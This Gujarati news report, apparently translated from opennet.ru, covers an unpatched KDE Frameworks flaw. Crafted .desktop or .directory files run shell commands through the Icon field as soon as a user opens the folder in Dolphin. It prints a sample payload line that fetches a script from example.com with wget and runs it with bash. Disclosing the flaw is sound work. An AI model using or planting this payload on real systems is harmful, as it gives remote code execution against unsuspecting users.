ફાઇલોની યાદી જોતી વખતે KDE કોડ અમલીકરણ નબળાઈ

KDE માં ઓળખાયેલ નબળાઈ, જે હુમલાખોરને મનસ્વી આદેશો ચલાવવાની મંજૂરી આપે છે જ્યારે કોઈ વપરાશકર્તા ડાયરેક્ટરી અથવા આર્કાઇવને જુએ છે જેમાં ખાસ ડિઝાઇન કરેલ “.desktop” અને “.directory” ફાઈલો હોય છે. હુમલા માટે જરૂરી છે કે વપરાશકર્તા ફક્ત ડોલ્ફિન ફાઇલ મેનેજરમાં ફાઇલોની સૂચિ જુએ, દૂષિત ડેસ્કટોપ ફાઇલ ડાઉનલોડ કરે અથવા ડેસ્કટોપ પર અથવા દસ્તાવેજમાં શોર્ટકટ ખેંચે. સમસ્યા લાઇબ્રેરીઓના વર્તમાન પ્રકાશનમાં પોતાને મેનીફેસ્ટ કરે છે કે.ડી. ફ્રેમવર્ક 5.60.0 અને જૂની આવૃત્તિઓ, KDE 4 સુધી. નબળાઈ હજુ પણ છે રહે છે અસુધારિત (CVE સોંપાયેલ નથી).

સમસ્યા KDesktopFile વર્ગના ખોટા અમલીકરણને કારણે થાય છે, જે, જ્યારે “આઇકન” ચલ પર પ્રક્રિયા કરે છે ત્યારે, યોગ્ય રીતે બહાર નીકળ્યા વિના, મૂલ્યને KConfigPrivate::expandString() ફંક્શનમાં પસાર કરે છે, જે પ્રક્રિયા સહિત શેલ વિશિષ્ટ અક્ષરોનું વિસ્તરણ કરે છે. આદેશો તરીકે "$(..)" શબ્દમાળાઓ ચલાવવામાં આવશે. XDG સ્પષ્ટીકરણની જરૂરિયાતોથી વિપરીત, અમલીકરણ જાહેરાત શેલ કન્સ્ટ્રક્ટ્સ સેટિંગ્સના પ્રકારને અલગ કર્યા વિના બનાવવામાં આવે છે, એટલે કે. લોન્ચ થનારી એપ્લિકેશનની કમાન્ડ લાઇન નક્કી કરતી વખતે જ નહીં, પણ ડિફૉલ્ટ રૂપે પ્રદર્શિત ચિહ્નોનો ઉલ્લેખ કરતી વખતે પણ.

ઉદાહરણ તરીકે, હુમલો કરવા માટે પૂરતું છે વપરાશકર્તાને ". ડિરેક્ટરી" ફાઇલ ધરાવતી ડિરેક્ટરી સાથે ઝિપ આર્કાઇવ મોકલો જેમ કે:

[ડેસ્કટોપ એન્ટ્રી] પ્રકાર = ડિરેક્ટરી
આઇકન[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

જ્યારે તમે ડોલ્ફિન ફાઇલ મેનેજરમાં આર્કાઇવની સામગ્રી જોવાનો પ્રયાસ કરો છો, ત્યારે https://example.com/FILENAME.sh સ્ક્રિપ્ટ ડાઉનલોડ થશે અને એક્ઝિક્યુટ થશે.

સોર્સ: opennet.ru